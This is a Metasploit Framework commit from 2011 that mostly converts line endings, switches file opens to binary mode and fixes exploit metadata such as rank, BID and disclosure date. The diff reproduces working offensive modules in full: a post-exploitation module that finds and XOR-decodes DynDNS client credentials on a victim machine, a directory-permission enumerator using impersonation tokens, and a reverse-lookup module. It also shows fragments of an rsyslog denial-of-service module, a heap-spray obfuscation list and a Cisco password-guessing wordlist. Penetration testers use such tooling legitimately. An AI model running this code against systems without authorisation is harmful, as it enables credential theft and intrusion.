Mostly file format (unix linefeeds) and File.open() calls using binary. Fixed ranking for mozilla_nstreerange and disclosure and BID # for tugzip.

git-svn-id: file:///home/svn/framework3/trunk@13971 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Tod Beardsley 2011-10-17 04:20:53 +00:00
parent 7ef8c16e75
commit c336d063da
10 changed files with 419 additions and 416 deletions

View File

@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary
super(
'Name' => 'rsyslog Long Tag Off-By-Two DoS',
'Description' => %q{
This module triggers an off-by-two stack overflow in the
This module triggers an off-by-two overflow in the
rsyslog daemon. This flaw is unlikely to yield code execution
but is effective at shutting down a remote log daemon. This bug
was introduced in version 4.6.0 and corrected in 4.6.8/5.8.5.

View File

@ -191,7 +191,10 @@ EOF
# Obfuscate it up a bit
js = obfuscate_js(js, 'Symbols' => {
'Variables' => %W{ DataTranslator GenerateHTML escapeData xunescape shellcode oneblock fullblock sprayContainer xi searchArray xc escData xhtml pTags oTags newElement sprayready sprayContainerIndex fill_function }
'Variables' => %W{ DataTranslator GenerateHTML escapeData xunescape
shellcode oneblock fullblock sprayContainer xi searchArray xc
escData xhtml pTags oTags newElement sprayready sprayContainerIndex
fill_function }
}).to_s
str1 = Rex::Text.rand_text_alpha(20)

View File

@ -12,7 +12,7 @@
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
rank = NormalRanking
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML

View File

@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote
[
[ 'OSVDB', '49371' ],
[ 'CVE', '2008-4779' ],
[ 'BID', '17432' ],
[ 'BID', '31913' ],
[ 'URL', 'http://www.exploit-db.com/exploits/12008/' ]
],
'Platform' => [ 'win' ],
@ -67,7 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote
}
],
],
'Disclosure' => 'Oct 28 2008',
'DisclosureDate' => 'Oct 28 2008',
'DefaultTarget' => 0))
register_options(

View File

@ -127,7 +127,7 @@ class Metasploit3 < Msf::Post
print_error("Wordlist File #{pass_file} does not exists!")
return
end
creds = ::File.open(pass_file, "r")
creds = ::File.open(pass_file, "rb")
else
creds = "Cisco\n" << "cisco\n"<< "sanfran\n" << "SanFran\n" << "password\n" << "Password\n"
end

View File

@ -42,7 +42,7 @@ class Metasploit3 < Msf::Post
if not ::File.exists?(datastore['RESOURCE'])
raise "Resource File does not exists!"
else
::File.open(datastore['RESOURCE'], "r").each_line do |cmd|
::File.open(datastore['RESOURCE'], "rb").each_line do |cmd|
next if cmd.strip.length < 1
next if cmd[0,1] == "#"
begin

View File

@ -1,190 +1,190 @@
##
#$Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Gather Dyn-Dns Client Password Extractor',
'Description' => %q{
This module extracts the username, password, and hosts for Dyn-Dns version 4.1.8.
This is done by downloading the config.dyndns file from the victim machine, and then
automatically decode the password field. The original copy of the config file is also
saved to disk.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Shubham Dawra <shubham2dawra[at]gmail.com>', #SecurityXploded.com
'sinn3r', #Lots of code rewrite
],
'Version' => '$Revision$',
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
#
# Search for the config file.
# Return the config file path, otherwise nil to indicate nothing was found
#
def get_config_file
config_paths =
[
"C:\\ProgramData\\Dyn\\Updater\\", #Vista
"C:\\Documents and Settings\\All Users\\Application Data\\Dyn\\Updater\\" #XP and else
]
# Give me the first match
config_file = nil
config_paths.each do |p|
tmp_path = p + "config.dyndns"
begin
f = session.fs.file.stat(tmp_path)
config_file = tmp_path
break #We've found a valid one, break!
rescue
end
end
return config_file
end
#
# Download the config file, and then load it up in memory.
# Return the content.
#
def load_config_file(config_file)
f = session.fs.file.new(config_file, "rb")
content = ''
until f.eof?
content << f.read
end
p = store_loot("dyndns.raw", "text/plain", session.tunnel_peer, "dyndns_raw_config.dyndns")
vprint_status("Raw config file saved: #{p.to_s}")
return content
end
#
# Parse the data
# Return: Hash { :username, :pass, :hosts }
#
def parse_config(content)
# Look at each line for user/pass/host
config_data = {}
user = content.scan(/Username=([\x21-\x7e]+)/)[0][0]
pass = content.scan(/Password=([\x21-\x7e]+)/)[0][0]
host = content.scan(/Host\d=([\x21-\x7e]+)/)[0]
# Let's decode the pass
pass = decode_password(pass) if not pass.nil?
# Store data in a hash, save it to the array
# Might contain nil if nothing was regexed
config_data = {
:user => user,
:pass => pass,
:hosts => host
}
return config_data
end
#
# Decode the password
#
def decode_password(pass)
pass = [pass].pack('H*')
s = ''
c = 0
pass.each_byte do |a1|
a2 = "t6KzXhCh"[c, 1].unpack('c')[0].to_i
s << (a1 ^ a2).chr
c = ((c+1)%8)
end
return s
end
#
# Print results and storeloot
#
def do_report(data)
tbl = Rex::Ui::Text::Table.new(
'Header' => 'DynDNS Client Data',
'Indent' => 1,
'Columns' => ['Field', 'Value']
)
# Store username/password
tbl << ['Username', data[:user]]
tbl << ['Password', data[:pass]]
# Store all found hosts
hosts = data[:hosts]
hosts.each do |host|
tbl << ['Host', host]
end
print_status(tbl.to_s)
if not tbl.rows.empty?
p = store_loot(
'dyndns.data',
'text/plain',
session,
tbl,
'dyndns_data.txt',
'DynDNS Client Data'
)
print_status("Parsed data stored in: #{p.to_s}")
end
end
#
# Main function, duh
#
def run
# Find the config file
config_file = get_config_file
if config_file.nil?
print_error("No config file found, will not continue")
return
end
# Load the config file
print_status("Downloading config.dyndns...")
content = load_config_file(config_file)
if content.empty?
print_error("Config file seems empty, will not continue")
return
end
# Get parsed data
config = parse_config(content)
# Store data
do_report(config)
end
end
##
#$Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Gather Dyn-Dns Client Password Extractor',
'Description' => %q{
This module extracts the username, password, and hosts for Dyn-Dns version 4.1.8.
This is done by downloading the config.dyndns file from the victim machine, and then
automatically decode the password field. The original copy of the config file is also
saved to disk.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Shubham Dawra <shubham2dawra[at]gmail.com>', #SecurityXploded.com
'sinn3r', #Lots of code rewrite
],
'Version' => '$Revision$',
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
#
# Search for the config file.
# Return the config file path, otherwise nil to indicate nothing was found
#
def get_config_file
config_paths =
[
"C:\\ProgramData\\Dyn\\Updater\\", #Vista
"C:\\Documents and Settings\\All Users\\Application Data\\Dyn\\Updater\\" #XP and else
]
# Give me the first match
config_file = nil
config_paths.each do |p|
tmp_path = p + "config.dyndns"
begin
f = session.fs.file.stat(tmp_path)
config_file = tmp_path
break #We've found a valid one, break!
rescue
end
end
return config_file
end
#
# Download the config file, and then load it up in memory.
# Return the content.
#
def load_config_file(config_file)
f = session.fs.file.new(config_file, "rb")
content = ''
until f.eof?
content << f.read
end
p = store_loot("dyndns.raw", "text/plain", session.tunnel_peer, "dyndns_raw_config.dyndns")
vprint_status("Raw config file saved: #{p.to_s}")
return content
end
#
# Parse the data
# Return: Hash { :username, :pass, :hosts }
#
def parse_config(content)
# Look at each line for user/pass/host
config_data = {}
user = content.scan(/Username=([\x21-\x7e]+)/)[0][0]
pass = content.scan(/Password=([\x21-\x7e]+)/)[0][0]
host = content.scan(/Host\d=([\x21-\x7e]+)/)[0]
# Let's decode the pass
pass = decode_password(pass) if not pass.nil?
# Store data in a hash, save it to the array
# Might contain nil if nothing was regexed
config_data = {
:user => user,
:pass => pass,
:hosts => host
}
return config_data
end
#
# Decode the password
#
def decode_password(pass)
pass = [pass].pack('H*')
s = ''
c = 0
pass.each_byte do |a1|
a2 = "t6KzXhCh"[c, 1].unpack('c')[0].to_i
s << (a1 ^ a2).chr
c = ((c+1)%8)
end
return s
end
#
# Print results and storeloot
#
def do_report(data)
tbl = Rex::Ui::Text::Table.new(
'Header' => 'DynDNS Client Data',
'Indent' => 1,
'Columns' => ['Field', 'Value']
)
# Store username/password
tbl << ['Username', data[:user]]
tbl << ['Password', data[:pass]]
# Store all found hosts
hosts = data[:hosts]
hosts.each do |host|
tbl << ['Host', host]
end
print_status(tbl.to_s)
if not tbl.rows.empty?
p = store_loot(
'dyndns.data',
'text/plain',
session,
tbl,
'dyndns_data.txt',
'DynDNS Client Data'
)
print_status("Parsed data stored in: #{p.to_s}")
end
end
#
# Main function, duh
#
def run
# Find the config file
config_file = get_config_file
if config_file.nil?
print_error("No config file found, will not continue")
return
end
# Load the config file
print_status("Downloading config.dyndns...")
content = load_config_file(config_file)
if content.empty?
print_error("Config file seems empty, will not continue")
return
end
# Get parsed data
config = parse_config(content)
# Store data
do_report(config)
end
end

View File

@ -285,7 +285,7 @@ class Metasploit3 < Msf::Post
# Function for writing results of other functions to a file
def filewrt(file2wrt, data2wrt)
output = ::File.open(file2wrt, "a")
output = ::File.open(file2wrt, "ab")
if data2wrt
data2wrt.each_line do |d|
output.puts(d)

View File

@ -1,138 +1,138 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Post
def initialize(info={})
super(update_info(info,
'Name' => "Windows Gather Directory Permissions Enumeration",
'Description' => %q{
This module enumerates directories and lists the permissions set
on found directories.
},
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'Platform' => ['windows'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Kx499']
))
register_options(
[
OptString.new('PATH', [ true, 'Directory to begin search from' ]),
OptEnum.new('FILTER', [ false, 'Filter to limit results by', 'NA', [ 'NA', 'R', 'W', 'RW' ]]),
OptInt.new('DEPTH', [ true, 'Depth to drill down into subdirs, O = no limit',0]),
], self.class)
end
def get_imperstoken
adv = session.railgun.advapi32
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
tok_all << " | TOKEN_ADJUST_DEFAULT"
#get impersonation token handle it["DuplicateTokenhandle"] carries this value
#p = kern.GetCurrentProcess() #get handle to current process
pid = session.sys.process.open.pid
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
if it["return"] #if it fails return 0 for error handling
return it["DuplicateTokenHandle"]
else
return 0
end
end
def check_dir(dir, token)
adv = session.railgun.advapi32
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
result = ""
#define generic mapping structure
gen_map = [0,0,0,0]
gen_map = gen_map.pack("L")
#get Security Descriptor for the directory
f = adv.GetFileSecurityA(dir, si, 20, 20, 4)
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
sd = f["pSecurityDescriptor"]
#check for write access, called once to get buffer size
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
len = a["PrivilegeSetLength"]
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
if !r["return"] then return "Failed" end
if r["GrantedAccess"] > 0 then result << "R" end
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
if !w["return"] then return "Failed" end
if w["GrantedAccess"] > 0 then result << "W" end
return result
end
def enum_subdirs(dpath, maxdepth, token)
filter = datastore['FILTER']
filter = nil if datastore['FILTER'] == 'NA'
dirs = session.fs.dir.foreach(dpath)
if maxdepth >= 1 or maxdepth < 0
dirs.each do|d|
next if d =~ /^(\.|\.\.)$/
realpath = dpath + '\\' + d
if session.fs.file.stat(realpath).directory?
perm = check_dir(realpath, token)
if !filter or perm.include? filter
print_status(perm + "\t" + realpath)
end
enum_subdirs(realpath, maxdepth - 1,token)
end
end
end
end
def run
t = 0 #holds impers token
#check and set vars
if not datastore['PATH'].empty?
path = datastore['PATH']
end
depth = -1
if datastore['DEPTH'] > 0
depth = datastore['DEPTH']
end
#get impersonation token
print_status("Getting impersonation token...")
t = get_imperstoken()
#loop through sub dirs if we have an impers token..else error
if t == 0
print_error("Getting impersonation token failed")
else
print_status("Got token...")
print_status("Checking directory permissions from: " + path)
#check staring directory
print_status(check_dir(path, t) + "\t" + path)
#call recursive function to loop through and check all sub directories
enum_subdirs(path, depth, t)
end
end
end
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Post
def initialize(info={})
super(update_info(info,
'Name' => "Windows Gather Directory Permissions Enumeration",
'Description' => %q{
This module enumerates directories and lists the permissions set
on found directories.
},
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'Platform' => ['windows'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Kx499']
))
register_options(
[
OptString.new('PATH', [ true, 'Directory to begin search from' ]),
OptEnum.new('FILTER', [ false, 'Filter to limit results by', 'NA', [ 'NA', 'R', 'W', 'RW' ]]),
OptInt.new('DEPTH', [ true, 'Depth to drill down into subdirs, O = no limit',0]),
], self.class)
end
def get_imperstoken
adv = session.railgun.advapi32
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
tok_all << " | TOKEN_ADJUST_DEFAULT"
#get impersonation token handle it["DuplicateTokenhandle"] carries this value
#p = kern.GetCurrentProcess() #get handle to current process
pid = session.sys.process.open.pid
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
if it["return"] #if it fails return 0 for error handling
return it["DuplicateTokenHandle"]
else
return 0
end
end
def check_dir(dir, token)
adv = session.railgun.advapi32
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
result = ""
#define generic mapping structure
gen_map = [0,0,0,0]
gen_map = gen_map.pack("L")
#get Security Descriptor for the directory
f = adv.GetFileSecurityA(dir, si, 20, 20, 4)
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
sd = f["pSecurityDescriptor"]
#check for write access, called once to get buffer size
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
len = a["PrivilegeSetLength"]
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
if !r["return"] then return "Failed" end
if r["GrantedAccess"] > 0 then result << "R" end
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
if !w["return"] then return "Failed" end
if w["GrantedAccess"] > 0 then result << "W" end
return result
end
def enum_subdirs(dpath, maxdepth, token)
filter = datastore['FILTER']
filter = nil if datastore['FILTER'] == 'NA'
dirs = session.fs.dir.foreach(dpath)
if maxdepth >= 1 or maxdepth < 0
dirs.each do|d|
next if d =~ /^(\.|\.\.)$/
realpath = dpath + '\\' + d
if session.fs.file.stat(realpath).directory?
perm = check_dir(realpath, token)
if !filter or perm.include? filter
print_status(perm + "\t" + realpath)
end
enum_subdirs(realpath, maxdepth - 1,token)
end
end
end
end
def run
t = 0 #holds impers token
#check and set vars
if not datastore['PATH'].empty?
path = datastore['PATH']
end
depth = -1
if datastore['DEPTH'] > 0
depth = datastore['DEPTH']
end
#get impersonation token
print_status("Getting impersonation token...")
t = get_imperstoken()
#loop through sub dirs if we have an impers token..else error
if t == 0
print_error("Getting impersonation token failed")
else
print_status("Got token...")
print_status("Checking directory permissions from: " + path)
#check staring directory
print_status(check_dir(path, t) + "\t" + path)
#call recursive function to loop through and check all sub directories
enum_subdirs(path, depth, t)
end
end
end

View File

@ -1,80 +1,80 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Post
def initialize(info={})
super( update_info( info,
'Name' => "Windows Gather IP Range Reverse Lookup",
'Description' => %q{
This module uses Railgun, calling the gethostbyaddr function to resolve a hostname
to an IP.
},
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'Platform' => ['windows'],
'SessionTypes' => ['meterpreter'],
'Author' => ['mubix']
))
register_options(
[
OptAddressRange.new('RHOSTS', [true, 'IP Range to perform reverse lookup against.'])
], self.class)
end
def run
#Add ws2_32 just in case it isn't there...
session.railgun.ws2_32
#Check if gethostbyaddr is available to us
modhandle = session.railgun.kernel32.GetModuleHandleA('ws2_32.dll')
if modhandle['return'] == 0
print_error("WS2_32 isn't available at this time, exiting")
return
else
procaddr = session.railgun.kernel32.GetProcAddress(modhandle['return'],'gethostbyaddr')
if procaddr['return'] == 0
print_error("WS2_32 was loaded but does not have the gethostbyaddr function, exiting")
return
end
end
#Initialize Railgun 'gethostbyaddr' call'
session.railgun.add_function('ws2_32', 'gethostbyaddr', 'DWORD', [
['PCHAR', 'addr', 'in'],
['DWORD','len','in'],
['DWORD','type','in']])
#Generates IP list based on RHOSTS - RangeWalker rocks....
iplist = Rex::Socket::RangeWalker.new(datastore['RHOSTS'])
iplist.each do |x|
#Converts an IP in string formate to network byte order format
nbi = Rex::Socket.addr_aton(x)
#Call gethostbyaddr
result = session.railgun.ws2_32.gethostbyaddr(nbi.to_s,nbi.size,2)
if result['return'] == 0
vprint_status("#{x} did not resolve")
else
struct = session.railgun.memread(result['return'],100)
hostname = struct.split(nbi)[1].split("\0")[0]
print_good("#{x} resolves to #{hostname}")
end
end
end
end
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Post
def initialize(info={})
super( update_info( info,
'Name' => "Windows Gather IP Range Reverse Lookup",
'Description' => %q{
This module uses Railgun, calling the gethostbyaddr function to resolve a hostname
to an IP.
},
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'Platform' => ['windows'],
'SessionTypes' => ['meterpreter'],
'Author' => ['mubix']
))
register_options(
[
OptAddressRange.new('RHOSTS', [true, 'IP Range to perform reverse lookup against.'])
], self.class)
end
def run
#Add ws2_32 just in case it isn't there...
session.railgun.ws2_32
#Check if gethostbyaddr is available to us
modhandle = session.railgun.kernel32.GetModuleHandleA('ws2_32.dll')
if modhandle['return'] == 0
print_error("WS2_32 isn't available at this time, exiting")
return
else
procaddr = session.railgun.kernel32.GetProcAddress(modhandle['return'],'gethostbyaddr')
if procaddr['return'] == 0
print_error("WS2_32 was loaded but does not have the gethostbyaddr function, exiting")
return
end
end
#Initialize Railgun 'gethostbyaddr' call'
session.railgun.add_function('ws2_32', 'gethostbyaddr', 'DWORD', [
['PCHAR', 'addr', 'in'],
['DWORD','len','in'],
['DWORD','type','in']])
#Generates IP list based on RHOSTS - RangeWalker rocks....
iplist = Rex::Socket::RangeWalker.new(datastore['RHOSTS'])
iplist.each do |x|
#Converts an IP in string formate to network byte order format
nbi = Rex::Socket.addr_aton(x)
#Call gethostbyaddr
result = session.railgun.ws2_32.gethostbyaddr(nbi.to_s,nbi.size,2)
if result['return'] == 0
vprint_status("#{x} did not resolve")
else
struct = session.railgun.memread(result['return'],100)
hostname = struct.split(nbi)[1].split("\0")[0]
print_good("#{x} resolves to #{hostname}")
end
end
end
end